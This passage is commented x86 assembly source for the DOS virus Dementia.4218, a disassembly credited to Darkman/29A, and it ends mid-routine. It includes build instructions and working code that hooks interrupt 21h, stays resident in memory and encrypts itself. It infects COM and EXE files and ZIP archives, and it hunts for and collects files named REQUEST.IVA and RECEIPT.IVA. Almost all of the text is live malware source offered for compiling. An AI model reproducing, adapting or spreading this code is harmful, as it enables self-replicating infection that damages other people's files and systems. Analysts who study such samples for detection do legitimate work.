comment * Dementia.4218 Disassembly by Darkman/29A Dementia.4218 is a 4218 bytes parasitic resident COM/EXE/ZIP virus. Infects files at close file, open file and load and/or execute program by appending the virus to the infected COM/EXE file and storing in the infected ZIP file. Dementia.4218 has an error handler, 16-bit exclusive OR (XOR) encryption in file and is using archive infection technique. To compile Dementia.4218 with Turbo Assembler v 4.0 type: TASM /M DEMENTI_.ASM TLINK /x DEMENTI_.OBJ EXE2BIN DEMENTI_.EXE DEMENTI_.COM * .model tiny .code code_begin: call delta_offset delta_offset: pop si ; Load SI from stack add si,(crypt_begin-delta_offset-02h) mov di,si ; DI = offset of code_end - 02h std ; Set direction flag mov cx,(crypt_begin-crypt_end-02h)/02h decrypt_key equ word ptr $+01h ; Decryption key mov dx,00h ; DX = decryption key push cs cs ; Save segments at stack pop ds es ; Load segments from stack (CS) decrypt_loop: lodsw ; AX = word of encrypted code xor ax,dx ; Decrypt two bytes stosw ; Store two plain bytes jmp crypt_end nop crypt_end: loop decrypt_loop cld ; Clear direction flag push cs ; Save CS at stack sub si,(crypt_end-code_begin) nop mov cl,04h ; Divide by paragraphs shr si,cl ; SI = offset of crypt_end in para... mov ax,cs ; AX = code segment add ax,si ; Add code segment to delta offset... push ax ; Save AX at stack lea ax,virus_begin ; AX = offset of virus_begin push ax ; Save AX at stack retf ; Return far! virus_begin: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) pop ax ; Load AX from stack (CS) mov [code_seg_],ax ; Store code segment mov bx,1492h ; Dementia.4218 function call close_file cmp bx,1776h ; Already resident? je virus_exit ; Equal? Jump to virus_exit call install virus_exit: mov ah,[com_or_exe] ; AH = COM or EXE executable? cmp ah,00h ; COM executable? nop je vir_com_exit ; Equal? Jump to vir_com_exit mov ax,[code_seg_] ; AX = code segment mov bx,[initial_cs] ; AX = initial CS relative to star... sub ax,bx ; Subtract initial CS relative to ... mov dx,ax ; DX = segment of PSP for current ... mov bx,[code_seg] ; BX = original code segment add ax,bx ; Add original code segment to seg... mov [code_seg],ax ; Store original code segment xchg ax,dx ; AX = segment of current PSP proc... cli ; Clear interrupt-enable flag mov bx,[stack_seg] ; BX = original stack segment add ax,bx ; Add original stack segment to se... mov ss,ax ; SS = original stack segment mov ax,[stack_ptr] ; AX = original stack pointer mov sp,ax ; SP = " " " sti ; Set interrupt-enable flag mov ah,62h ; Get current PSP address int 21h mov ds,bx ; DS = segment of PSP for current ... mov es,bx ; ES = segment of PSP for current ... xor ax,ax ; Zero AX xor bx,bx ; Zero BX xor cx,cx ; Zero CX xor dx,dx ; Zero DX xor si,si ; Zero SI xor di,di ; Zero DI jmp dword ptr cs:[instruct_ptr] vir_com_exit: mov di,100h ; DI = offset of beginning of code lea si,origin_code ; SI = offset of origin_code nop movsw ; Move the original code to beginning movsb ; " " " " " " push es ; Save ES at stack mov ax,100h ; AX = offset of beginning of code push ax ; Save AX at stack xor ax,ax ; Zero AX xor bx,bx ; Zero BX xor cx,cx ; Zero CX xor dx,dx ; Zero DX xor si,si ; Zero SI xor di,di ; Zero DI push es ; Save ES at stack pop ds ; Load DS from stack (ES) retf ; Return far! upcase_char proc near ; Upcase character cmp al,'a' ; Lowcase character? jl dont_upcase ; Less? Jump to dont_upcase cmp al,'z' ; Lowcase character? jg dont_upcase ; Greater? Jump to dont_upcase sub al,20h ; Upcase character dont_upcase: ret ; Return! endp int21_virus proc near ; Interrupt 21h of Dementia.4218 pushf ; Save flags at stack cld ; Clear direction flag cmp ah,3eh ; Close file? jne tst_open_fil ; Not equal? Jump to tst_open_fil cmp bx,1492h ; Dementia.4218 function? jne tst_open_fil ; Not equal? Jump to tst_open_fil mov bx,1776h ; Already resident popf ; Load flags from stack iret ; Interrupt return! tst_open_fil: cmp ah,3dh ; Open file jne tst_load_and ; Not equal? Jump to tst_load_and cmp al,0ffh ; Dementia.4218 function je dementia_fun ; Equal? Jump to dementia_fun push ax si ; Save registers at stack mov si,dx ; SI = offset of filename find_dot: lodsb ; AL = byte of filename cmp al,00h ; End of filename? je open_fi_exit ; Equal? Jump to open_fi_exit cmp al,'.' ; Found the dot in the filename jne find_dot ; Not equal? Jump to find_dot lodsb ; AL = byte of extension call upcase_char cmp al,'C' ; COM executable? jne tst_exe_exec ; Not equal? Jump to tst_exe_exec lodsb ; AL = byte of extension call upcase_char cmp al,'O' ; COM executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'M' ; COM executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit call inf_com_exe jmp open_fi_exit nop tst_exe_exec: cmp al,'E' ; EXE executable? jne tst_zip_arch ; Not equal? Jump to tst_zip_arch lodsb ; AL = byte of extension call upcase_char cmp al,'X' ; EXE executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'E' ; EXE executable? jne open_fi_exit ; Not equal? Jump to open_fi_exit call inf_com_exe jmp open_fi_exit nop tst_zip_arch: cmp al,'Z' ; ZIP archive? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'I' ; ZIP archive? jne open_fi_exit ; Not equal? Jump to open_fi_exit lodsb ; AL = byte of extension call upcase_char cmp al,'P' ; ZIP archive? jne open_fi_exit ; Not equal? Jump to open_fi_exit call infect_zip jmp open_fi_exit nop open_fi_exit: pop si ax ; Load registers from stack jmp tst_load_and nop dementia_fun: mov al,02h ; Dementia.4218 function tst_load_and: cmp ah,4bh ; Load and/or execute program? jne int21_exit ; Not equal? Jump to int21_exit call inf_com_exe int21_exit: popf ; Load flags from stack jmp cs:[int21_addr] endp install proc near ; Allocate memory, move virus to t... push es ; Save ES at stack mov ah,52h ; Get list of lists int 21h mov ax,es:[bx-02h] ; AX = segment of first memory con... next_mcb: mov ds,ax ; DS = segment of current memory c... mov al,ds:[00h] ; AL = block type cmp al,'Z' ; Last block in chain? je allocate_mem ; Equal? Jump to allocate_mem mov ax,ds ; AX = segment of current memory c... mov bx,ds:[03h] ; BX = size of memory block in par... add ax,bx ; Add size of memory block in para... inc ax ; AX = segment of next memory cont... jmp next_mcb allocate_mem: mov bx,ds:[03h] ; BX = size of memory block in par... sub bx,(code_end-code_begin+0fh)/10h*02h mov ds:[03h],bx ; Store new size of memory control... mov ax,ds ; AX = segment of last memory cont... add ax,bx ; Add new size of memory block in ... inc ax ; AX = segment of virus mov es,ax ; ES = " " " push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor si,si ; Zero SI xor di,di ; Zero DI mov cx,(code_end-code_begin) rep movsb ; Move virus to top of memory push es ; Save ES at stack lea ax,install_ ; AX = offset of install_ push ax ; Save AX at stack retf ; Return far! install_: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,3521h ; Get interrupt vector 21h int 21h mov word ptr [int21_addr+02h],es mov word ptr [int21_addr],bx lea dx,int21_virus ; DX = offset of int21_virus mov ax,2521h ; Set interrupt vector 21h int 21h pop es ; Load ES from stack ret ; Return! endp inf_com_exe proc near ; Infect COM/EXE file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,06h ; Correct stack pointer push ax bx cx dx si di ds es call int24_store call open_file jc com_exe_exit ; Error? Jump to com_exe_exit call load_info and cx,0000000000011111b cmp cx,0000000000000001b je call_close ; Already infected? Jump to call_c... mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov cx,20h ; Read thirty-two bytes call read_file mov ax,ds:[00h] ; AX = EXE signature cmp ax,'MZ' ; Found EXE signature? je call_infect ; Equal? Jump to call_infect cmp ax,'ZM' ; Found EXE signature? je call_infect ; Equal? Jump to call_infect call infect_com jmp call_mark nop call_infect: call infect_exe call_mark: call infect_mark call_close: call close_file com_exe_exit: call int24_load pop es ds di si dx cx bx ax mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp infect_zip proc near ; Infect ZIP archive push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,28h ; Correct stack pointer push ax bx cx dx si di ds es xor ax,ax ; Didn't found file mov [bp-0eh],ax ; Store didn't found CALLFAST.COM mov [bp-10h],ax ; " " " REQUEST.IVA mov [bp-12h],ax ; " " " RECEIPT.IVA call int24_store push dx ds ; Save registers at stack lea dx,temp_file ; DX = offset of temp_file nop call create_file mov [bp-0ah],ax ; Store file handle of !#TEMP#! pop ds dx ; Load registers from stack call open_file jnc load_info_ ; No error? Jump to load_info_ jmp inf_zip_exit load_info_: mov [bp-08h],ax ; Store file handle of ZIP file call load_info mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer next_lfh_sig: mov cx,04h ; Read four bytes call read_file mov ax,ds:[00h] ; AX = low-order word of file head... cmp ax,'KP' ; Found low-order word of file ha...? je test_dir_sig ; Equal? Jump to test_dir_sig jmp call_mark_ test_dir_sig: mov ax,ds:[02h] ; AX = high-order word of file hea... cmp ax,201h ; Found high-order word of central... jne read_lfh ; Not equal? Jump to read_lfh jmp zero_cdh_num read_lfh: mov cx,1ah ; Read twenty-six bytes call read_file mov cx,ds:[16h] ; CX = filename length mov dx,20h ; DI = offset of filename call read_file_ push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea di,request_iva ; DI = offset of request_iva nop mov si,20h ; SI = offset of filename request_loop: lodsb ; AL = byte of filename mov ah,es:[di] ; AH = byte of request_iva inc di ; Increase index register cmp ah,00h ; End of filename? je found_reques ; Equal? Jump to found_reques cmp ah,al ; Byte of filename equal to byte o... jne find_callfas ; Not equal? Jump to find_callfas jmp request_loop found_reques: mov ax,01h ; Found REQUEST.IVA mov [bp-10h],ax ; Store found REQUEST.IVA xor cx,cx ; Zero CX xor dx,dx ; Zero DX call set_pos_cfp mov [bp-24h],ax ; AX = low-order word of extra field mov [bp-22h],dx ; DX = high-order word of extra field find_callfas: lea di,callfast_com ; DI = offset of callfast_com nop mov si,20h ; SI = offset of filename callfas_loop: lodsb ; AL = byte of filename mov ah,es:[di] ; AH = byte of callfast_com inc di ; Increase index register cmp ah,00h ; End of filename? je found_callfa ; Equal? Jump to found_callfa cmp ah,al ; Byte of filename equal to byte o... jne find_receipt ; Not equal? Jump to find_receipt jmp callfas_loop found_callfa: mov ax,01h ; Found CALLFAST.COM mov [bp-0eh],ax ; Store found CALLFAST.COM find_receipt: lea di,receipt_iva ; DI = offset of receipt_iva nop mov si,20h ; SI = offset of filename receipt_loop: lodsb ; AL = byte of filename mov ah,es:[di] ; AH = byte of receipt_iva inc di ; Increase index register cmp ah,00h ; End of filename? je found_receip ; Equal? Jump to found_receip cmp ah,al ; Byte of filename equal to byte o... jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr jmp receipt_loop found_receip: mov ax,01h ; Found RECEIPT.IVA mov [bp-12h],ax ; Store found RECEIPT.IVA calc_lfh_ptr: mov dx,ds:[0eh] ; DX = low-order word of compresse... mov cx,ds:[10h] ; CX = high-order word of compress... mov ax,ds:[18h] ; AX = extra field length add dx,ax ; Add extra field length to compre... adc cx,00h ; Convert to 32-bit call set_pos_cfp jmp next_lfh_sig zero_cdh_num: xor ax,ax ; No central directory file header... mov [bp-0ch],ax ; Store no central directory file ... copy_cds: mov ax,[bp-0ch] ; AX = number of central directory... inc ax ; Increase number of central direc... mov [bp-0ch],ax ; Store number of central director... mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,2ah ; Read forty-two bytes call read_file mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov cx,ds:[18h] ; CX = filename length mov bx,ds:[1ah] ; BX = extra field length add cx,bx ; Add extra field length to filena... mov bx,ds:[1ch] ; BX = file comment length add cx,bx ; CX = number of bytes to read mov bx,[bp-08h] ; BX = file handle of ZIP file call read_file_ mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov cx,04h ; Read four bytes mov bx,[bp-08h] ; BX = file handle of ZIP file call read_file_ mov ax,ds:[00h] ; AX = low-order word of end of ce... cmp ax,'KP' ; Found low-order word of end of ...? je test_eoc_sig ; Equal? Jump to test_eoc_sig jmp call_mark_ test_eoc_sig: mov ax,ds:[02h] ; AX = high-order word of end of c... cmp ax,605h ; Found high-order word of end of ... je copy_eocds ; Equal? Jump to read_oecds jmp copy_cds copy_eocds: mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,12h ; Read eightteen bytes call read_file mov ax,ds:[0ch] ; AX = low-order word of offset of... mov [bp-18h],ax ; Store low-order word of offset o... mov ax,ds:[0eh] ; AX = high-order word of offset o... mov [bp-16h],ax ; Store high-order word of offset ... mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov cx,ds:[10h] ; CX = zipfile comment length mov bx,[bp-08h] ; BX = file handle of ZIP file call read_file_ mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call write_file_ mov ax,[bp-10h] ; AX = found REQUEST.IVA or ax,ax ; Didn't found REQUEST.IVA jz test_callfas ; Zero? Jump to test_callfas jmp test_receipt test_callfas: mov ax,[bp-0eh] ; AX = found CALLFAST.COM or ax,ax ; Didn't found CALLFAST.COM jz create_file_ ; Zero? Jump to create_file_ jmp call_mark_ create_file_: lea dx,callfast_com ; DX = offset of callfast_com nop call create_file mov [bp-14h],ax ; Store file handle of CALLFAST.COM mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM mov cx,(file_end-file_begin) nop lea dx,file_begin ; DX = offset of file_begin nop call write_file_ call close_file mov ax,01h ; Don't test filesize mov [tst_filesize],ax ; Store don't test filesize lea dx,callfast_com ; DX = offset of callfast_com nop call inf_com_exe xor ax,ax ; Test filesize mov [tst_filesize],ax ; Store test filesize push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea si,callfast_com ; SI = offset of callfast_com nop lea di,filename ; DI = offset of filename nop mov cx,0dh ; Move thirteen bytes rep movsb ; Move CALLFAST.COM to filename open_filenam: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,filename ; DX = offset of filename nop call open_file call set_pos_eof mov [bp-1ch],ax ; Store low-order word of filesize mov [bp-1ah],dx ; Store high-order word of filesize call calc_crc32 mov [bp-20h],ax ; Store low-order word of CRC-32 c... mov [bp-1eh],dx ; Store high-order word of CRC-32 ... mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,[bp-16h] ; CX = high-order word of offset o... mov dx,[bp-18h] ; DX = low-order word of offset of... call set_pos_sof_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov ax,'KP' ; AX = low-order word of local hea... mov ds:[00h],ax ; Store low-order word of local he... mov ax,403h ; AX = high-order word of local hea... mov ds:[02h],ax ; Store high-order word of local he... mov ax,0ah ; AX = version needed to extract (v... mov ds:[04h],ax ; Store version needed to extract (... xor ax,ax ; AX = general purpose bit flag and... mov ds:[06h],ax ; Store general purpose bit flag mov ds:[08h],ax ; Store compression method (the fil... mov ax,3021h ; AX = last modified file time mov ds:[0ah],ax ; Store last modified file time mov ax,1ae1h ; AX = last modified file date mov ds:[0ch],ax ; Store last modified file date mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch... mov ds:[0eh],ax ; Store low-order word of CRC-32 c... mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c... mov ds:[10h],ax ; Store high-order word of CRC-32 ... mov ax,[bp-1ch] ; AX = low-order word of filesize mov ds:[12h],ax ; Store low-order word of compress... mov ds:[16h],ax ; Store low-order word of uncompre... mov ax,[bp-1ah] ; AX = high-order word of filesize mov ds:[14h],ax ; Store high-order word of compres... mov ds:[18h],ax ; Store high-order word of uncompr... mov ax,0ch ; AX = filename length (12 bytes) mov ds:[1ah],ax ; Store filename length (12 bytes) xor ax,ax ; AX = extra field length (0 bytes) mov ds:[1ch],ax ; Store extra field length (0 bytes) mov cx,1eh ; Write thirty bytes call write_file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,filename ; DX = offset of filename nop mov cx,0ch ; Write twelve bytes nop call write_file_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM call set_pos_sof copy_callfas: mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je copy_cds_ ; Equal? Jump to copy_cds_ mov cx,ax ; CX = number of bytes actually read mov bx,[bp-08h] ; BX = file handle of ZIP file call write_file jmp copy_callfas copy_cds_: mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call set_pos_sof cpy_cds_loop: mov ax,[bp-0ch] ; AX = number of central directory... cmp ax,00h ; No central directory file header? je wrt_last_cds ; Equal? Jump to write_last_cds dec ax ; Decrease number of central direc... mov [bp-0ch],ax ; Store number of central director... mov ax,'KP' ; AX = low-order word of central d... mov ds:[00h],ax ; Store low-order word of central ... mov ax,201h ; AX = high-order word of central ... mov ds:[02h],ax ; Store high-order word of central... mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! mov cx,2ah ; Read forty-two bytes mov dx,04h ; DX = offset of central directory... call read_file_ mov cx,ds:[1ch] ; CX = filename length mov dx,ds:[1eh] ; DX = extra field length add cx,dx ; Add extra field length to filena... mov dx,ds:[20h] ; DX = file comment length add cx,dx ; CX = number of bytes to read push cx ; Save CX at stack mov dx,2eh ; DX = offset of central directory... call read_file_ mov bx,[bp-08h] ; BX = file handle of ZIP file pop cx ; Load CX from stack add cx,2eh ; Add size of central directory fi... call write_file jmp cpy_cds_loop wrt_last_cds: mov ax,0ah ; AX = version made by (version 1.... mov ds:[04h],ax ; Store version made by (version 1... mov ds:[06h],ax ; Store version needed to extract (... xor ax,ax ; AX = general purpose bit flag and... mov ds:[08h],ax ; Store general purpose bit flag mov ds:[0ah],ax ; Store compression method (the fil... mov ax,3021h ; AX = last modified file time mov ds:[0ch],ax ; Store last modified file time mov ax,1ae1h ; AX = last modified file date mov ds:[0eh],ax ; Store last modified file date mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch... mov ds:[10h],ax ; Store low-order word of CRC-32 c... mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c... mov ds:[12h],ax ; Store high-order word of CRC-32 ... mov ax,[bp-1ch] ; AX = low-order word of filesize mov ds:[14h],ax ; Store low-order word of compress... mov ds:[18h],ax ; Store low-order word of uncompre... mov ax,[bp-1ah] ; AX = high-order word of filesize mov ds:[16h],ax ; Store high-order word of compres... mov ds:[1ah],ax ; Store high-order word of compres... mov ax,0ch ; AX = filename length (12 bytes) mov ds:[1ch],ax ; Store filename length (12 bytes) xor ax,ax ; AX = extra field length, file co... mov ds:[1eh],ax ; Store extra field length (0 bytes) mov ds:[20h],ax ; Store file comment length (0 bytes) mov ds:[22h],ax ; Store disk number start (0 bytes) mov ds:[24h],ax ; Store internal file attributes mov ds:[26h],ax ; Store low-order word of external... mov ds:[28h],ax ; Store high-order word of externa... mov ax,[bp-18h] ; AX = low-order word of offset of... mov ds:[2ah],ax ; Store low-order word of relative... mov ax,[bp-16h] ; AX = high-order word of offset o... mov ds:[2ch],ax ; Store high-order word of relativ... mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,2eh ; Write forty-six bytes call write_file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,filename ; DX = offset of filename nop mov cx,0ch ; Write twelve bytes nop call write_file_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov ax,'KP' ; AX = low-order word of end of ce... mov ds:[00h],ax ; Store low-order word of end of c... mov ax,605h ; AX = high-order word of end of c... mov ds:[02h],ax ; Store high-order word of end of ... mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! mov cx,12h ; Read eightteen bytes mov dx,04h ; DX = offset of end of central di... call read_file_ mov cx,ds:[14h] ; CX = zipfile comment length push cx ; Save CX at stack mov dx,16h ; DX = offset of zipfile comment call read_file_ mov ax,ds:[08h] ; AX = total number of entries in ... inc ax ; Increase total number of entries... mov ds:[08h],ax ; Store total number of entries in... mov ax,ds:[0ah] ; AX = total number of entries in ... inc ax ; Increase total number of entries... mov ds:[0ah],ax ; Store total number of entries in... mov ax,ds:[0ch] ; AX = low-order word of size of t... mov dx,ds:[0eh] ; DX = high-order word of size of ... add ax,3ah ; Add size of central directory fi... nop adc dx,00h ; Convert to 32-bit mov ds:[0ch],ax ; Store low-order word of size of ... mov ds:[0eh],dx ; Store high-order word of size of... mov ax,ds:[10h] ; AX = low-order word of offset of... mov dx,ds:[12h] ; DX = high-order word of offset o... add ax,2ah ; Add size of local file header to... nop adc dx,00h ; Convert to 32-bit mov bx,[bp-1ah] ; BX = high-order word of filesize add dx,bx ; Add high-order word of filesize ... mov bx,[bp-1ch] ; BX = low-order word of filesize add ax,bx ; Add low-order word of filesize t... adc dx,00h ; Convert to 32-bit mov ds:[10h],ax ; Store low-order word of offset o... mov ds:[12h],dx ; Store high-order word of offset ... mov bx,[bp-08h] ; BX = file handle of ZIP file pop cx ; Load CX from stack add cx,16h ; Add size of end of central direc... call write_file mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM call close_file lea dx,filename ; DX = offset of filename nop call delete_file jmp call_mark_ test_receipt: mov ax,[bp-12h] ; AX = found RECEIPT.IVA or ax,ax ; Didn't found RECEIPT.IVA jz exam_extra ; Zero? Jump to exam_extra jmp call_mark_ exam_extra: mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,[bp-22h] ; CX = high-order word of extra field mov dx,[bp-24h] ; DX = low-order word of extra field call set_pos_sof_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov es,ax ; ES = segment of data buffer mov cx,400h ; Read one thousand and twenty-fou... call read_file cld ; Clear direction flag xor si,si ; Zero SI xor di,di ; Zero DI lodsw ; AX = word of extra field cmp ax,1492h ; Found infection mark? je comp_extra ; Equal? Jump to comp_extra jmp call_mark_ comp_extra: lodsw ; AX = word of extra field cmp ax,1776h ; Found infection mark? je load_extra ; Equal? Jump to load_extra jmp call_mark_ load_extra: lodsw ; AX = 16-bit decryption key mov dx,ax ; DX = " " " lodsb ; AL = number of file specifications xor cx,cx ; Zero CX mov cl,al ; CL = number of filespecification push ax ; Save AX at stack decrypt_next: push cx ; Save CX at stack mov cx,07h ; Decryption fourteen bytes decrypt_spec: lodsw ; AX = word of encrypted file spec... xor ax,dx ; Decrypt word of file specification stosw ; Store word of file specification loop decrypt_spec pop cx ; Load CX from stack loop decrypt_next mov ax,ds ; AX = segment of data buffer add ax,40h ; AX = segment of pathname mov es,ax ; ES = " " " push ds ; Save DS at stack push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov ah,47h ; Get current directory xor dl,dl ; Default drive xor si,si ; Zero SI int 21h pop ds ; Load DS from stack mov ax,es ; AX = segment of pathname add ax,04h ; AX = segment of end of pathname mov es,ax ; ES = " " " " " xor di,di ; Zero DI mov al,'\' ; AL = backslash stosb ; Store backslash xor al,al ; AL = zero stosb ; Store zero push es ; Save ES at stack mov ah,2fh ; Get disk transfer area address int 21h mov [bp-26h],es ; Store segment of disk transfer a... mov [bp-28h],bx ; Store offset of disk transfer ar... pop es ; Load ES from stack push ds ; Save DS at stack mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+48h mov ds,ax ; DS = segment of disk transfer area xor dx,dx ; Zero DX mov ah,1ah ; Set disk transfer area address int 21h lea dx,receipt_iva ; DX = offset of receipt_iva nop call create_file mov bx,ax ; BX = file handle of RECEIPT.IVA mov [bp-14h],ax ; Store file handle of RECEIPT.IVA pop ds ; Load DS from stack pop ax ; Load AX from stack mov dx,01h ; Don't store backslash call create_recei mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA call set_pos_sof mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+48h mov ds,ax ; DS = segment of disk transfer area mov es,ax ; ES = " " " " " encrypt_rece: mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je set_dta_addr ; Equal? Jump to set_dta_addr push ax ; Save AX at stack xor dx,dx ; Zero DX sub dx,ax ; DX = -number of bytes actually read mov cx,-01h call set_pos_cfp pop ax ; Load AX from stack push ax ; Save AX at stack mov cx,ax ; CX = number of bytes actually read xor si,si ; Zero SI xor di,di ; Zero DI encrypt_ipt_: lodsb ; AL = byte of RECEIPT.IVA xor al,0ffh ; Encrypt byte of RECEIPT.IVA stosb ; Store encrypted byte of RECEIPT.IVA loop encrypt_ipt_ pop ax ; Load AX from stack mov cx,ax ; CX = number of bytes actually read call write_file jmp encrypt_rece set_dta_addr: call close_file mov ds,[bp-26h] ; DS = segment of disk transfer area mov dx,[bp-28h] ; DX = offset of disk transfer area mov ah,1ah ; Set disk transfer area address int 21h mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+40h mov ds,ax ; DS = segment of data buffer xor dx,dx ; Zero DX mov ah,3bh ; Set current directory int 21h push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea si,receipt_iva ; SI = offset of receipt_iva nop lea di,filename ; DI = offset of filename nop mov cx,0dh ; Move thirteen bytes rep movsb ; Move RECEIPT.IVA to filename jmp open_filenam call_mark_: mov bx,[bp-08h] ; BX = file handle of ZIP file call infect_mark mov bx,[bp-08h] ; BX = file handle of ZIP file call close_file mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call close_file lea dx,temp_file ; DX = offset of temp_file nop call delete_file inf_zip_exit: call int24_load pop es ds di si dx cx bx ax mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp infect_com proc near ; Infect COM file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,04h ; Correct stack pointer mov ah,00h ; COM executable nop nop mov cs:[com_or_exe],ah ; Store COM executable mov ax,ds:[00h] ; AX = word of original code of CO... mov word ptr cs:[origin_code],ax mov al,ds:[02h] ; AL = byte of original code of CO... mov cs:[origin_code+02h],al call encrypt_copy call set_pos_eof mov [bp-04h],ax ; Store low-order word of filesize mov [bp-02h],dx ; Store high-order word of filesize push ax ; Save AX at stack mov ax,cs:[tst_filesize] cmp ax,01h ; Don't test filesize? pop ax ; Load AX from stack je calc_buf_seg ; Equal? Jump to calc_buf_seg cmp dx,00h ; Filesize too large? jne inf_com_exit ; Not equal? Jump to inf_com_exit cmp ax,1000h ; Filesize too small? jb inf_com_exit ; Below? Jump to inf_com_exit calc_buf_seg: add ax,(code_end-code_begin) jb inf_com_exit ; Filesize too large? Jump to inf_... mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov cx,10h ; CX = number of bytes to add to f... mov ax,[bp-04h] ; AX = filesize and ax,0000000000001111b sub cx,ax ; CX = number of bytes to add to f... mov ax,[bp-04h] ; AX = filesize add ax,cx ; AX = offset of virus within file mov [bp-04h],ax ; Store offset of virus within file call write_file_ mov cx,(code_end-code_begin) call write_file mov al,0e9h ; JMP imm16 (opcode 0e9h) mov ds:[00h],al ; Store JMP imm16 mov ax,[bp-04h] ; AX = filesize sub ax,03h ; Subtract size of opcode JMP imm16 mov ds:[01h],ax ; Store 16-bit immediate call set_pos_sof mov cx,03h ; Write three bytes call write_file inf_com_exit: mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp infect_exe proc near ; Infect EXE file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,04h ; Correct stack pointer mov ah,01h ; EXE executable nop nop mov cs:[com_or_exe],ah ; Store EXE executable call set_pos_eof mov [bp-04h],ax ; Store low-order word of filesize mov [bp-02h],dx ; Store high-order word of filesize and ax,0000000000001111b mov cx,10h ; CX = number of bytes to add to f... sub cx,ax ; CX = " " " " " " " mov ax,[bp-04h] ; AX = low-order word of filesize mov dx,[bp-02h] ; DX = high-order word of filesize add ax,cx ; Add number of bytes to add to fi... adc dx,00h ; Convert to 32-bit mov [bp-04h],ax ; Store low-order word of pointer ... mov [bp-02h],dx ; Store high-order word of pointer... call write_file_ push bx ; Save BX at stack mov ax,[bp-04h] ; AX = low-order word of pointer t... mov dx,[bp-02h] ; DX = high-order word of pointer ... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,0ch ; Divide by four thousand and nine... shr bx,cl ; BX = header size in sixty-five t... sub dx,bx ; Subtract header size in sixty fi... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,04h ; Multiply by paragraphs shl bx,cl ; BX = header size sub ax,bx ; Subtract header size from filesize sbb dx,00h ; Convert to 32-bit mov [bp-04h],ax ; Store low-order word of pointer ... mov [bp-02h],dx ; Store high-order word of pointer... pop bx ; Load BX from stack mov ax,ds:[14h] ; AX = original instruction pointer mov cs:[instruct_ptr],ax mov ax,ds:[16h] ; AX = original code segment mov cs:[code_seg],ax ; Store original code segment xor ax,ax ; Zero AX mov ds:[14h],ax ; Store initial IP mov cs:[initial_ip],ax ; Store " " mov ax,[bp-02h] ; AX = high-order word of pointer ... test ax,1111111111110000b jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr jmp inf_exe_exit calc_ins_ptr: mov cl,0ch shl ax,cl ; Multiply by sixty-five thousand ... mov dx,[bp-04h] ; DX = low-order word of pointer t... mov cl,04h ; Divide by paragraphs shr dx,cl ; DX = low-order word of pointer t... add ax,dx ; AX = initial CS relative to star... mov ds:[16h],ax ; Store initial CS relative to sta... mov cs:[initial_cs],ax ; " " " " " " push ax ; Save AX at stack mov ax,ds:[0eh] ; AX = initial SS relative to star... mov cs:[stack_seg],ax 